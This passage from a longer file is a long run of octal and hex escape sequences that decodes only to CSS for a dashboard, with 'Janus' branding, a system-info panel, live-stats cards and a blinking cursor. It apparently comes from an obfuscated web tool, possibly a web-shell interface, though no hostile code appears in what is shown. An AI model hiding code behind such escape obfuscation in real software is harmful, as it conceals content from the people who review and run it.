65\x6e\73\40\175\12\11\x9\x2e\x73\x69\144\x65\142\141\x72\40\x7b\40\144\x69\x73\x70\154\141\x79\72\40\156\157\x6e\145\73\40\x7d\12\x9\x9\56\x73\x79\163\x74\x65\x6d\55\151\x6e\146\157\x2d\x68\145\x61\x64\145\x72\40\173\40\x62\x61\x63\153\x67\x72\x6f\165\156\x64\x3a\x20\x76\141\162\x28\55\x2d\142\x67\x2d\x6d\x65\144\x29\73\x20\x62\x6f\162\x64\x65\x72\x2d\x62\x6f\164\x74\157\x6d\x3a\x20\62\x70\170\x20\x73\x6f\154\x69\144\x20\166\x61\162\x28\x2d\55\142\157\162\144\x65\x72\55\143\157\x6c\x6f\162\x29\73\x20\x70\x61\144\144\151\156\x67\72\40\x31\x72\145\x6d\40\x31\56\x35\162\x65\155\73\x20\160\x6f\163\x69\164\x69\157\x6e\x3a\x20\x72\x65\x6c\141\164\x69\x76\145\x3b\40\175\12\11\11\x2e\150\x65\x61\x64\x65\x72\55\x63\157\x6c\154\x61\160\163\x65\x2d\x62\164\156\x20\173\x20\x64\x69\163\x70\154\141\171\x3a\40\156\x6f\x6e\145\73\x20\x70\x6f\x73\x69\164\151\x6f\156\72\x20\141\142\163\157\x6c\x75\x74\x65\x3b\40\x74\157\x70\72\40\x30\56\65\162\x65\155\x3b\40\x72\x69\x67\150\164\72\40\x30\56\x35\162\x65\x6d\x3b\x20\142\141\x63\x6b\147\x72\157\x75\156\144\72\40\166\x61\162\50\55\x2d\x62\147\x2d\x6c\151\x67\x68\164\51\x3b\x20\x62\x6f\162\x64\145\x72\x3a\x20\x31\x70\x78\x20\x73\x6f\x6c\x69\x64\40\166\x61\x72\x28\55\x2d\142\157\x72\144\x65\x72\x2d\x63\x6f\154\157\x72\51\73\40\x63\157\x6c\157\162\x3a\x20\166\141\162\50\55\x2d\x74\145\170\x74\x2d\154\x69\x67\x68\164\x29\73\x20\160\141\144\144\151\156\x67\72\40\x30\56\x32\x35\162\x65\155\40\x30\56\x34\162\145\155\x3b\x20\142\157\162\144\x65\x72\x2d\162\141\144\151\x75\x73\72\40\x34\160\170\73\40\143\x75\x72\x73\x6f\162\x3a\x20\160\x6f\151\156\164\145\x72\73\x20\146\157\x6e\164\55\x73\151\172\x65\72\x20\x30\x2e\70\x35\x72\x65\155\x3b\x20\172\x2d\151\156\144\145\x78\72\x20\61\x30\x30\60\73\x20\160\157\151\x6e\164\145\x72\x2d\145\x76\145\x6e\164\163\x3a\x20\141\165\164\x6f\73\40\165\x73\145\x72\x2d\x73\145\x6c\145\143\164\72\40\156\x6f\156\x65\73\40\175\xa\11\11\56\x68\145\141\x64\x65\162\55\143\157\154\x6c\x61\x70\x73\x65\55\x62\x74\156\72\150\x6f\166\145\x72\40\x7b\x20\x62\141\143\x6b\x67\162\157\x75\x6e\x64\72\40\166\x61\162\50\x2d\55\x61\143\x63\145\x6e\x74\x2d\142\x6c\x75\x65\x29\x3b\40\x63\x6f\x6c\x6f\162\72\x20\166\141\x72\x28\x2d\x2d\142\x67\55\144\x61\162\153\51\x3b\x20\175\xa\11\11\x2e\150\x65\141\x64\145\162\x2d\143\x6f\154\x6c\x61\x70\163\145\55\x62\164\156\72\x61\x63\164\x69\x76\x65\40\x7b\x20\x74\x72\141\156\x73\146\157\162\x6d\x3a\40\x73\x63\141\154\x65\x28\60\x2e\71\x35\x29\73\40\175\12\x9\x9\56\x73\171\163\164\145\155\x2d\151\156\x66\x6f\55\x68\145\141\144\x65\x72\55\143\157\156\164\145\156\164\40\173\x20\144\151\x73\160\x6c\141\x79\72\x20\x66\x6c\x65\170\73\40\152\x75\163\164\x69\x66\171\55\x63\x6f\156\x74\145\156\164\x3a\40\163\160\x61\x63\145\55\142\145\164\167\145\x65\x6e\x3b\40\141\x6c\x69\147\156\55\151\164\x65\155\x73\72\40\x66\x6c\145\x78\x2d\163\x74\141\x72\x74\x3b\40\147\141\160\x3a\x20\62\162\x65\155\73\x20\146\x6c\x65\x78\55\x77\x72\x61\x70\72\x20\x77\162\141\160\x3b\x20\175\xa\x9\x9\56\x73\x79\x73\x2d\151\156\146\x6f\55\154\x65\146\164\x20\173\x20\x66\154\x65\170\72\x20\61\73\40\144\x69\x73\x70\x6c\x61\x79\72\40\x67\x72\x69\x64\73\40\147\162\x69\144\x2d\164\145\155\160\154\x61\x74\145\x2d\143\x6f\154\x75\155\x6e\x73\72\x20\x72\x65\160\x65\x61\164\x28\141\165\164\x6f\55\x66\151\164\x2c\x20\x6d\151\156\155\x61\170\50\62\65\60\160\170\54\x20\x31\146\x72\51\51\x3b\40\147\x61\160\72\x20\60\x2e\x35\162\x65\x6d\x3b\x20\146\157\156\164\55\x73\x69\x7a\145\72\x20\x30\x2e\x38\65\162\145\x6d\73\40\175\12\x9\x9\x2e\x73\171\x73\x2d\151\x6e\x66\157\55\151\164\145\155\40\173\x20\x63\157\154\157\162\72\40\x76\141\x72\x28\x2d\55\164\145\x78\164\x2d\x6c\151\x67\150\164\51\x3b\40\160\x61\x64\144\151\x6e\147\x3a\x20\x30\x2e\x33\x72\145\155\x20\60\73\x20\175\12\x9\x9\56\x73\171\x73\x2d\x69\156\x66\x6f\x2d\151\x74\x65\x6d\40\x73\x74\162\x6f\x6e\147\40\173\x20\143\x6f\154\x6f\162\x3a\x20\166\141\162\x28\55\x2d\141\143\x63\x65\156\164\55\142\x6c\165\145\51\x3b\40\x6d\141\x72\147\x69\156\55\x72\151\x67\150\x74\72\x20\x30\x2e\65\162\145\155\x3b\40\x7d\xa\11\11\x2e\x73\171\x73\55\151\156\146\x6f\55\162\151\x67\150\x74\40\x7b\x20\x66\154\145\170\55\163\150\x72\x69\x6e\x6b\72\40\60\73\x20\164\145\170\164\55\141\154\x69\x67\156\x3a\40\162\x69\147\150\x74\x3b\x20\x7d\xa\11\x9\56\152\x61\x6e\165\x73\55\x6c\157\147\x6f\x2d\143\x6f\x6e\164\141\151\156\x65\162\x20\173\x20\144\151\163\160\154\141\x79\x3a\40\x66\154\x65\x78\x3b\x20\x66\x6c\x65\x78\55\x64\151\x72\x65\x63\164\151\157\x6e\72\40\143\157\x6c\x75\x6d\x6e\x3b\x20\141\154\151\x67\x6e\x2d\x69\x74\145\x6d\x73\72\40\x66\154\145\x78\x2d\145\x6e\x64\73\40\x7d\12\11\11\x2e\152\x61\156\165\x73\x2d\x6c\x6f\x67\x6f\x20\173\x20\146\157\x6e\164\x2d\146\x61\155\151\x6c\x79\x3a\40\x76\141\162\x28\x2d\x2d\x66\157\x6e\164\x2d\146\x61\x6d\x69\154\171\x29\73\40\143\x6f\x6c\x6f\x72\x3a\x20\x76\x61\162\x28\x2d\x2d\141\143\x63\x65\x6e\164\x2d\147\157\x6c\144\x29\73\40\164\145\170\x74\55\163\x68\141\144\x6f\167\72\x20\x30\x20\x30\40\x31\x30\160\170\x20\166\141\x72\50\x2d\x2d\x61\143\x63\x65\x6e\x74\x2d\147\157\x6c\144\51\x2c\40\x30\x20\x30\x20\62\x30\x70\x78\40\166\141\162\50\55\55\x61\x63\143\145\x6e\x74\55\147\157\154\x64\51\73\x20\x74\x65\170\x74\55\141\x6c\x69\x67\x6e\x3a\40\162\x69\x67\150\164\73\x20\167\x68\x69\x74\x65\x2d\x73\160\141\143\145\x3a\x20\x70\162\x65\73\40\146\x6f\156\164\x2d\x73\x69\172\145\x3a\x20\61\61\x70\x78\x3b\x20\x6c\151\x6e\145\55\x68\145\151\x67\x68\x74\x3a\40\x31\x2e\62\73\x20\x6d\x61\162\147\x69\x6e\72\x20\x30\73\40\175\xa\11\x9\56\152\x61\x6e\x75\163\55\166\x65\x72\163\x69\157\156\x20\x7b\x20\x63\x6f\154\157\162\x3a\40\x76\x61\x72\50\55\55\141\143\143\145\x6e\x74\55\147\x6f\154\144\x29\x3b\x20\x66\157\156\164\55\x73\x69\172\x65\72\x20\61\x2e\x31\x72\x65\x6d\x3b\40\146\x6f\x6e\164\x2d\167\145\x69\147\150\x74\x3a\40\x36\x30\x30\73\40\x6d\141\162\x67\151\156\55\x74\x6f\x70\x3a\x20\x30\x2e\x35\162\145\x6d\x3b\40\164\x65\x78\x74\55\x73\x68\x61\144\x6f\167\x3a\40\x30\x20\x30\40\x35\160\170\40\166\141\x72\x28\55\x2d\141\143\143\x65\x6e\164\x2d\147\x6f\x6c\x64\x29\73\40\x7d\xa\x9\x9\x2e\x6a\x61\x6e\x75\163\55\x74\x61\147\x6c\x69\156\x65\40\x7b\40\143\157\x6c\x6f\162\72\x20\166\141\162\50\x2d\x2d\164\145\x78\x74\55\155\x65\144\x29\x3b\40\146\x6f\156\x74\x2d\163\151\x7a\145\x3a\x20\x30\x2e\70\65\162\x65\155\73\40\x6d\141\x72\x67\151\x6e\55\x74\157\x70\72\40\60\x2e\x32\x35\162\145\155\x3b\x20\175\xa\x9\11\56\164\157\160\x2d\x6e\x61\166\x62\141\162\40\x7b\40\142\141\143\153\147\162\x6f\x75\x6e\144\72\40\166\x61\x72\x28\55\x2d\x62\147\x2d\155\x65\x64\x29\73\x20\142\x6f\162\x64\x65\x72\55\142\x6f\164\164\x6f\155\x3a\x20\62\160\x78\x20\x73\x6f\x6c\151\144\x20\166\141\x72\x28\55\55\142\x6f\x72\x64\145\162\x2d\143\x6f\154\x6f\x72\51\x3b\x20\160\141\144\144\x69\156\147\72\x20\x30\x2e\x35\162\x65\155\40\x31\x72\145\x6d\73\x20\160\x6f\163\x69\164\x69\157\156\x3a\40\163\164\x69\143\x6b\171\x3b\40\164\157\160\72\40\60\73\x20\x7a\x2d\x69\156\144\x65\170\72\40\61\60\60\73\x20\142\x6f\170\x2d\163\x68\141\144\x6f\167\x3a\40\60\x20\62\160\x78\40\61\x30\160\170\40\x72\147\142\x61\x28\x30\54\60\54\x30\x2c\x30\56\x32\x29\73\x20\x64\151\163\x70\x6c\141\171\x3a\x20\x66\154\x65\x78\x3b\x20\x66\x6c\145\x78\x2d\144\151\x72\145\143\x74\151\x6f\156\x3a\40\x63\157\154\165\155\x6e\x3b\x20\175\xa\x9\11\x2e\x6e\x61\166\55\143\157\x6c\154\x61\x70\x73\145\x2d\x62\x74\156\40\x7b\x20\144\x69\x73\160\154\141\x79\72\40\x6e\x6f\156\145\x3b\40\142\x61\x63\x6b\x67\162\x6f\x75\156\x64\x3a\x20\x76\x61\162\x28\x2d\55\x62\147\x2d\154\151\147\x68\164\x29\73\x20\x62\157\162\144\x65\x72\x3a\x20\61\160\x78\x20\163\157\154\151\x64\x20\x76\x61\x72\50\x2d\55\x62\x6f\162\x64\x65\162\55\143\x6f\x6c\x6f\162\51\x3b\x20\x63\157\154\157\162\72\x20\x76\x61\162\x28\55\x2d\164\x65\170\x74\x2d\154\x69\x67\150\164\51\x3b\x20\x70\141\x64\144\151\x6e\x67\72\x20\x30\56\x35\x72\145\155\x20\60\56\x37\65\162\145\x6d\73\x20\x62\157\162\144\145\x72\55\x72\x61\x64\x69\x75\163\72\x20\66\x70\170\x3b\x20\x63\x75\162\x73\157\x72\72\x20\160\x6f\151\156\164\x65\162\73\40\146\157\156\x74\x2d\x73\x69\172\145\72\x20\61\56\x32\162\145\155\x3b\40\155\x61\162\x67\x69\156\x2d\142\157\164\164\x6f\155\72\x20\60\x2e\x35\x72\x65\x6d\73\x20\167\x69\144\x74\x68\72\40\61\60\x30\x25\x3b\40\x7d\xa\x9\11\x2e\156\x61\166\x2d\x63\x6f\x6c\x6c\141\160\x73\x65\x2d\x62\164\x6e\72\150\x6f\166\145\x72\40\173\x20\x62\141\x63\x6b\x67\x72\x6f\165\156\x64\72\40\166\x61\162\50\x2d\55\x61\x63\x63\x65\x6e\164\55\x62\154\165\145\51\73\x20\143\157\x6c\157\x72\72\40\x76\141\162\50\x2d\55\x62\x67\55\144\x61\162\153\51\x3b\x20\175\12\x9\x9\x2e\156\x61\166\55\x62\x75\x74\x74\157\x6e\x73\x2d\143\157\156\164\x61\151\x6e\145\x72\40\x7b\x20\144\x69\x73\160\154\x61\171\x3a\40\x66\x6c\x65\170\x3b\x20\x61\154\x69\147\156\x2d\x69\164\x65\x6d\x73\x3a\40\x63\145\156\164\x65\162\73\x20\x67\x61\x70\72\x20\x30\56\65\x72\x65\x6d\73\40\146\x6c\x65\170\x2d\167\162\x61\x70\72\x20\167\x72\141\160\x3b\40\x6f\166\x65\x72\x66\154\x6f\x77\x2d\170\x3a\40\x61\165\164\x6f\x3b\x20\x7d\12\x9\11\x2e\x6e\x61\166\x2d\142\165\164\164\x6f\156\163\x2d\143\x6f\x6e\164\141\x69\156\145\x72\x3a\72\x2d\x77\145\142\x6b\x69\x74\x2d\x73\143\162\x6f\154\154\142\x61\x72\40\173\x20\150\145\x69\147\150\x74\x3a\40\64\160\x78\73\40\x7d\12\x9\11\x2e\x6e\141\166\x2d\142\165\x74\164\x6f\156\163\x2d\x63\157\156\x74\141\x69\156\x65\162\x3a\72\55\167\145\142\153\x69\x74\55\163\143\x72\x6f\154\x6c\142\x61\162\55\x74\x72\141\143\x6b\40\x7b\40\142\x61\x63\x6b\x67\x72\x6f\x75\x6e\144\x3a\40\x76\x61\162\50\55\x2d\142\147\x2d\x64\x61\x72\153\51\x3b\40\175\xa\x9\x9\56\x6e\x61\x76\55\x62\x75\x74\x74\157\x6e\163\55\143\x6f\x6e\164\x61\x69\156\x65\x72\72\72\x2d\167\145\x62\153\151\x74\x2d\x73\143\162\x6f\x6c\154\x62\x61\162\x2d\164\x68\x75\155\x62\40\x7b\x20\x62\x61\143\x6b\147\162\157\165\156\144\72\40\x76\141\x72\x28\55\x2d\142\157\162\x64\145\x72\x2d\x63\x6f\154\157\x72\51\x3b\40\142\x6f\162\x64\145\162\x2d\x72\141\144\x69\165\163\x3a\x20\62\160\170\x3b\x20\x7d\xa\x9\x9\x2e\x6e\x61\x76\x2d\142\165\164\x74\157\x6e\40\x7b\x20\x62\x61\x63\153\147\x72\157\165\x6e\x64\72\40\x76\141\x72\x28\x2d\55\142\x67\x2d\x6c\151\x67\x68\x74\51\73\40\143\157\154\157\162\72\40\x76\141\162\x28\x2d\55\164\x65\170\x74\55\154\151\147\x68\164\51\73\x20\x62\x6f\x72\144\x65\162\x3a\x20\61\x70\x78\40\163\x6f\x6c\x69\144\40\166\x61\x72\50\55\x2d\x62\157\x72\144\x65\162\x2d\x63\157\x6c\x6f\x72\51\73\40\160\x61\x64\x64\x69\x6e\x67\x3a\40\x30\56\66\162\x65\x6d\40\x31\x2e\x32\x72\145\155\x3b\40\x62\157\x72\144\145\162\x2d\162\141\x64\x69\165\x73\72\40\66\160\x78\73\x20\143\165\x72\x73\x6f\162\72\40\160\157\151\x6e\164\x65\162\x3b\x20\164\x72\x61\156\x73\151\164\x69\157\156\72\40\141\x6c\x6c\x20\60\x2e\x32\163\x3b\40\146\x6f\156\x74\55\146\141\x6d\x69\x6c\171\x3a\x20\166\x61\162\x28\55\x2d\x66\157\156\x74\55\x66\x61\155\151\x6c\171\51\x3b\40\146\x6f\x6e\164\x2d\x73\x69\x7a\145\x3a\40\x31\63\160\x78\x3b\x20\x66\x6f\x6e\164\55\167\x65\x69\x67\150\x74\72\40\65\x30\x30\x3b\40\167\x68\x69\x74\145\x2d\x73\x70\141\143\145\72\x20\x6e\157\167\162\141\160\x3b\x20\144\x69\163\160\x6c\x61\x79\x3a\40\x66\x6c\x65\x78\73\40\141\x6c\x69\147\156\55\151\x74\x65\155\163\x3a\x20\x63\x65\x6e\164\x65\162\x3b\40\147\141\160\x3a\x20\x30\x2e\65\x72\x65\x6d\73\x20\164\145\x78\164\x2d\144\145\x63\157\x72\141\164\x69\157\x6e\72\40\x6e\157\156\x65\73\x20\175\12\11\11\56\x6e\141\166\x2d\x62\x75\164\x74\157\x6e\72\150\x6f\x76\145\x72\40\x7b\40\142\141\143\x6b\147\162\157\165\156\x64\72\x20\x76\x61\162\50\55\55\141\143\143\x65\156\x74\x2d\142\x6c\x75\145\x29\x3b\40\x63\x6f\154\157\162\72\40\x76\x61\162\x28\x2d\55\x62\x67\55\x64\141\162\153\x29\x3b\40\142\x6f\162\144\145\162\55\x63\157\154\157\162\x3a\x20\x76\x61\x72\50\55\55\141\143\x63\x65\156\x74\55\142\x6c\165\145\51\73\x20\164\162\x61\x6e\x73\146\x6f\x72\x6d\72\x20\164\162\x61\x6e\x73\154\x61\x74\x65\x59\x28\x2d\62\160\170\x29\73\40\x62\157\170\55\x73\x68\141\144\157\x77\x3a\x20\60\40\64\160\170\40\70\160\170\40\162\147\142\x61\x28\61\63\60\x2c\40\61\x37\60\54\x20\62\65\x35\x2c\40\60\x2e\63\x29\x3b\40\175\xa\11\11\56\156\141\x76\55\142\165\x74\x74\x6f\156\x2e\141\143\164\x69\x76\x65\x20\x7b\x20\142\x61\x63\153\x67\x72\x6f\x75\x6e\x64\72\40\x76\141\162\x28\x2d\x2d\x61\x63\143\145\156\x74\x2d\142\x6c\x75\x65\x29\x3b\40\143\157\154\157\x72\x3a\40\x76\x61\162\50\x2d\55\142\147\55\x64\141\162\x6b\x29\x3b\x20\x62\x6f\162\x64\145\x72\55\x63\x6f\x6c\x6f\162\72\x20\166\x61\x72\50\x2d\x2d\x61\x63\x63\x65\156\x74\x2d\x62\154\x75\145\51\x3b\x20\x66\157\156\164\x2d\x77\145\x69\x67\x68\164\x3a\x20\x36\x30\x30\x3b\40\x62\157\170\x2d\x73\150\141\x64\x6f\167\72\x20\60\40\x34\160\170\x20\61\x32\160\x78\x20\162\x67\142\x61\50\x31\63\60\x2c\x20\61\67\60\x2c\x20\x32\65\65\54\x20\x30\x2e\64\x29\x3b\40\175\xa\11\11\x2e\x6e\141\x76\55\142\165\x74\164\x6f\x6e\x3a\x61\x63\x74\151\166\x65\x20\173\x20\x74\x72\x61\156\x73\146\157\x72\155\72\40\164\x72\141\x6e\x73\x6c\141\x74\x65\x59\50\x30\51\x3b\x20\175\xa\40\11\x9\x2e\x6d\141\x69\156\x2d\x63\157\x6e\x74\145\156\x74\x20\173\x20\x66\x6c\145\170\72\40\x31\73\x20\x64\x69\x73\160\154\x61\x79\x3a\x20\x66\154\x65\x78\x3b\40\146\x6c\145\x78\x2d\x64\151\x72\145\143\x74\151\x6f\156\x3a\40\143\157\x6c\x75\155\156\73\x20\x6f\166\x65\x72\x66\154\157\167\72\x20\x68\x69\x64\144\x65\x6e\73\x20\175\12\x20\11\11\x2e\x76\151\x65\167\x2d\x63\x6f\156\x74\141\x69\156\x65\x72\x20\x7b\x20\144\151\x73\x70\154\x61\x79\72\x20\x6e\x6f\156\x65\x3b\x20\146\154\x65\x78\x2d\x64\151\x72\x65\143\x74\151\x6f\x6e\x3a\x20\x63\157\x6c\165\155\x6e\x3b\40\x68\145\151\x67\x68\x74\x3a\x20\x31\60\x30\45\73\x20\x7d\xa\x20\x9\11\x2e\x63\x6f\x6e\x74\x65\x6e\x74\55\x68\145\x61\x64\145\x72\x20\173\40\x70\x61\x64\144\x69\156\x67\72\40\61\x72\x65\x6d\x20\61\x2e\x35\162\x65\155\73\x20\x62\141\143\153\x67\162\x6f\165\x6e\144\72\40\166\x61\162\50\55\x2d\142\x67\x2d\x6d\x65\x64\x29\x3b\x20\142\x6f\162\x64\145\162\x2d\x62\x6f\x74\164\157\155\x3a\x20\61\x70\170\40\163\157\x6c\151\x64\x20\166\x61\162\x28\55\x2d\x62\157\162\x64\x65\162\55\x63\157\x6c\157\162\x29\73\x20\x66\157\156\x74\55\163\151\x7a\x65\x3a\x20\x31\56\62\162\x65\155\73\x20\146\157\x6e\164\55\x77\145\151\x67\x68\x74\72\x20\x35\x30\60\73\x20\143\157\154\x6f\162\72\40\166\141\x72\50\x2d\x2d\164\145\x78\164\55\x6c\x69\x67\150\164\x29\73\40\146\x6c\x65\170\55\x73\x68\x72\151\156\x6b\72\x20\60\73\40\x7d\xa\x20\11\11\56\x63\x6f\156\164\145\156\x74\x2d\141\x72\x65\141\40\x7b\x20\x70\x61\x64\x64\151\156\147\72\x20\61\56\65\162\x65\x6d\x3b\x20\x6f\x76\145\162\x66\x6c\x6f\x77\55\x79\72\x20\141\x75\x74\157\x3b\x20\146\154\145\170\x3a\40\61\x3b\40\x7d\12\x20\x9\11\x23\x76\x69\145\x77\55\x64\141\163\x68\x62\157\x61\162\x64\40\x2e\x63\157\x6e\164\145\156\164\55\x61\x72\x65\x61\x20\x7b\x20\144\x69\x73\160\154\141\171\x3a\x20\146\x6c\x65\170\73\40\146\x6c\x65\x78\55\x64\151\162\x65\x63\x74\x69\x6f\x6e\x3a\x20\x63\157\x6c\165\155\156\73\40\147\141\x70\x3a\x20\62\x72\x65\155\73\40\x7d\12\x20\11\x9\x23\x6c\x6f\147\x6f\x2d\143\157\156\x74\x61\151\156\x65\x72\x20\173\x20\146\x6f\x6e\x74\x2d\146\x61\155\151\x6c\171\x3a\x20\166\141\162\50\55\x2d\146\x6f\x6e\164\x2d\146\141\155\x69\x6c\171\x29\x3b\40\143\157\154\x6f\162\72\40\x76\x61\x72\x28\x2d\x2d\141\143\x63\145\156\x74\x2d\147\x6f\154\x64\51\73\40\164\145\170\x74\x2d\163\x68\x61\144\157\167\72\40\60\40\x30\40\x31\60\160\x78\x20\166\x61\162\x28\55\x2d\141\x63\143\145\x6e\164\x2d\147\x6f\x6c\144\x29\x2c\40\60\x20\60\x20\x32\60\160\170\x20\166\141\162\50\x2d\x2d\141\x63\x63\x65\x6e\x74\55\x67\157\154\x64\51\x3b\x20\x74\145\x78\164\x2d\x61\x6c\151\x67\156\72\x20\143\145\156\x74\145\162\x3b\x20\167\150\x69\x74\145\55\x73\x70\141\143\x65\x3a\40\160\162\x65\x3b\40\146\157\156\x74\x2d\163\151\x7a\x65\x3a\40\61\63\160\170\x3b\40\x6c\151\x6e\x65\x2d\150\x65\151\147\150\x74\72\x20\x31\56\x32\x3b\x20\x7d\12\x20\11\x9\x2e\x6c\151\166\x65\55\x73\164\141\164\163\x2d\x63\157\x6e\x74\x61\151\x6e\x65\x72\x20\x7b\x20\x64\151\x73\160\x6c\x61\x79\72\x20\x67\162\151\x64\x3b\x20\147\162\x69\x64\55\164\145\155\160\154\x61\x74\x65\55\x63\x6f\154\x75\155\x6e\x73\x3a\x20\x72\145\x70\145\x61\x74\50\141\165\x74\x6f\x2d\x66\151\x74\54\x20\155\x69\156\155\141\170\x28\x32\65\60\160\170\x2c\40\x31\x66\162\51\x29\x3b\x20\147\141\x70\x3a\40\61\56\65\x72\x65\x6d\73\x20\167\x69\x64\x74\150\72\x20\x31\x30\60\x25\x3b\40\x6d\141\x78\x2d\x77\151\144\x74\x68\x3a\x20\x31\60\60\60\x70\x78\x3b\x20\155\141\162\147\151\x6e\x3a\x20\x30\x20\141\x75\x74\x6f\73\x20\175\12\40\x9\x9\x2e\x73\x74\x61\164\55\143\x61\x72\144\40\x7b\40\142\141\x63\x6b\147\x72\x6f\x75\156\x64\72\40\x76\141\x72\50\55\55\x62\147\55\155\x65\144\x29\x3b\x20\x62\x6f\162\144\145\162\72\x20\61\160\x78\40\163\157\154\x69\144\40\x76\x61\162\50\x2d\x2d\142\157\x72\144\x65\x72\55\143\x6f\154\157\x72\51\73\40\142\x6f\x72\144\145\162\x2d\x72\141\x64\151\165\x73\72\40\70\160\x78\73\x20\x70\x61\x64\x64\151\156\x67\72\x20\61\x72\145\x6d\73\x20\x64\151\163\160\x6c\141\171\72\40\146\x6c\145\170\73\x20\x66\x6c\145\x78\x2d\x64\x69\x72\x65\143\x74\x69\x6f\156\x3a\x20\143\157\154\x75\x6d\x6e\73\40\x67\x61\160\72\40\60\x2e\70\162\145\155\73\x20\175\12\x20\11\x9\x2e\163\164\141\x74\55\143\x61\x72\x64\55\x68\145\x61\x64\x65\162\x20\173\x20\144\x69\x73\160\x6c\x61\171\72\x20\146\154\145\x78\x3b\40\x6a\165\163\x74\151\146\171\x2d\x63\x6f\156\164\145\x6e\x74\72\x20\x73\160\x61\x63\x65\x2d\x62\x65\164\167\x65\x65\156\x3b\x20\146\x6f\x6e\x74\55\x77\145\151\x67\150\164\72\40\65\x30\60\73\x20\175\xa\x20\x9\11\x2e\163\x74\141\x74\x2d\x63\x61\x72\144\x2d\x6c\141\142\145\x6c\x20\173\x20\x63\157\x6c\157\x72\72\40\166\x61\162\50\55\55\141\143\x63\x65\156\164\55\142\x6c\165\145\51\73\x20\175\12\40\11\x9\56\163\164\x61\164\x2d\143\x61\x72\144\55\160\145\x72\x63\145\156\x74\40\173\x20\x63\157\154\157\162\72\40\166\x61\162\x28\55\x2d\164\145\170\x74\55\154\x69\x67\x68\x74\51\x3b\x20\175\12\x20\11\x9\56\x70\162\157\x67\x72\x65\163\x73\55\x62\141\x72\x2d\x62\x67\x20\173\x20\x62\141\143\153\147\162\x6f\x75\x6e\x64\72\x20\166\141\162\50\55\x2d\x62\147\x2d\x64\141\162\x6b\51\x3b\x20\142\157\x72\144\145\x72\x2d\x72\141\144\151\x75\x73\72\x20\x35\x70\x78\73\x20\x68\x65\151\147\150\164\72\40\x31\x30\x70\170\73\x20\x77\x69\x64\x74\x68\x3a\x20\61\60\x30\45\x3b\x20\x6f\166\145\162\x66\154\x6f\167\72\x20\150\151\144\x64\x65\x6e\x3b\x20\x7d\12\x20\x9\11\x2e\160\162\x6f\147\162\x65\x73\163\x2d\x62\x61\x72\x2d\146\147\40\173\x20\x62\x61\x63\153\x67\x72\157\165\156\x64\72\x20\166\141\x72\50\x2d\55\141\143\x63\x65\x6e\x74\x2d\142\x6c\x75\145\x29\x3b\40\x68\145\x69\147\x68\164\x3a\40\61\60\60\x25\x3b\40\167\x69\x64\164\x68\72\x20\x30\x25\x3b\x20\142\x6f\162\x64\145\x72\55\x72\141\x64\151\165\163\x3a\x20\x35\x70\170\x3b\x20\164\162\x61\156\163\x69\164\x69\x6f\156\x3a\x20\167\151\x64\x74\150\x20\x30\56\x35\x73\40\145\141\x73\x65\x2d\157\x75\x74\x3b\175\xa\x20\11\11\56\x73\x74\141\x74\55\143\x61\x72\x64\x2d\x64\x65\x74\x61\151\x6c\x73\40\173\40\146\157\x6e\x74\55\x73\x69\x7a\145\72\40\x30\56\x38\x72\x65\155\73\x20\143\157\x6c\157\162\x3a\x20\166\141\x72\50\55\x2d\x74\x65\170\x74\x2d\155\145\x64\x29\73\40\x74\x65\x78\164\x2d\x61\x6c\x69\x67\x6e\72\40\x72\x69\x67\x68\164\73\x20\175\12\40\x9\x9\x2e\163\171\163\x2d\151\x6e\146\x6f\55\160\141\156\145\x6c\40\173\x20\167\151\x64\x74\150\x3a\x20\61\60\60\45\x3b\x20\x6d\141\x78\x2d\x77\x69\144\164\x68\x3a\x20\61\60\60\x30\x70\170\x3b\40\155\141\162\147\x69\x6e\x3a\x20\60\x20\141\x75\x74\x6f\x3b\40\x62\157\x72\x64\145\162\x3a\40\x31\160\x78\40\163\x6f\x6c\151\144\40\166\x61\x72\50\x2d\x2d\x62\157\162\x64\145\162\x2d\143\x6f\x6c\157\162\51\x3b\40\142\157\x72\144\x65\x72\x2d\162\x61\x64\151\x75\x73\x3a\x20\70\x70\170\73\x20\x62\x61\x63\x6b\x67\x72\x6f\165\x6e\144\72\x20\x76\x61\162\x28\55\55\x62\147\x2d\x6d\x65\144\51\73\x20\x7d\12\40\11\x9\56\163\171\163\x2d\151\x6e\146\x6f\55\160\x61\156\145\x6c\x2d\150\145\x61\x64\145\x72\40\173\x20\160\141\144\x64\151\156\x67\72\40\x31\x32\160\170\40\61\70\160\x78\x3b\x20\x62\x6f\162\144\145\x72\x2d\142\x6f\x74\164\x6f\155\72\40\x31\x70\x78\x20\163\x6f\x6c\x69\x64\40\x76\141\x72\x28\x2d\55\x62\x6f\162\x64\145\162\55\143\x6f\154\157\x72\x29\73\40\146\x6f\x6e\164\x2d\x77\145\151\147\x68\x74\72\40\x35\x30\x30\73\x20\x63\x6f\x6c\x6f\x72\72\40\166\x61\x72\50\x2d\55\141\143\143\145\x6e\164\55\147\x72\x65\x65\156\x29\73\x20\175\12\x20\x9\x9\56\x62\x6c\x69\x6e\x6b\x69\x6e\147\55\x63\165\162\163\157\x72\40\x7b\40\x61\x6e\x69\x6d\x61\164\151\x6f\x6e\x3a\40\x62\x6c\x69\156\153\40\x31\x73\40\163\x74\x65\x70\x2d\x65\156\x64\40\x69\156\146\x69\x6e\x69\164\x65\73\40\143\157\154\x6f\162\72\x20\166\x61\x72\50\55\55\141\143\x63\145\156\164\x2d\x67\162\145\145\156\x29\73\40\175\xa\40\x9\x9\x40\153\145\x79\x66\x72\x61\155\145\x73\40\x62\x6c\151\156\x6b\40\173\40\146\x72\157\x6d\54\x20\164\157\x20\173\40\x6f\160\141\x63\151\x74\x79\x3a\40\61\x20\175\40\x35\60\x25\40\x7b\x20\157\x70\141\x63\151\164\171\72\x20\60\x20\175\40\175\12\x20\x9\11\x2e\163\x79\x73\55\151\156\146\157\x2d\160\x61\156\x65\154\55\x62\157\x64\171\x20\173\40\160\x61\x64\x64\151\156\147\x3a\x20\x31\x38\x70\x78\x3b\40\x7d\12\40\11\x9\56\163\171\163\x2d\151\156\x66\x6f\x2d\147\x72\151\144\x20\173\x20\x64\x69\163\x70\x6c\141\x79\72\40\x67\162\x69\144\73\x20\x67\162\x69\x64\55\x74\x65\155\x70\154\x61\x74\x65\x2d\x63\x6f\154\x75\x6d\156\163\72\40\x32\x30\60\x70\x78\40\x31\x66\x72\x3b\x20\x67\141\160\72\x20\61\x30\160\170\40\x32\x30\x70\x78\73\x20\146\x6f\156\x74\55\x73\151\x7a\x65\72\x20\61\63\160\170\73\x20\154\151\x6e\x65\55\x68\x65\x69\147\x68\x74\x3a\x20\x31\x2e\x36\73\x20\175\xa\40\x9\11\x2e\163\x79\163\55\151\x6e\146\x6f\x2d\147\162\151\144\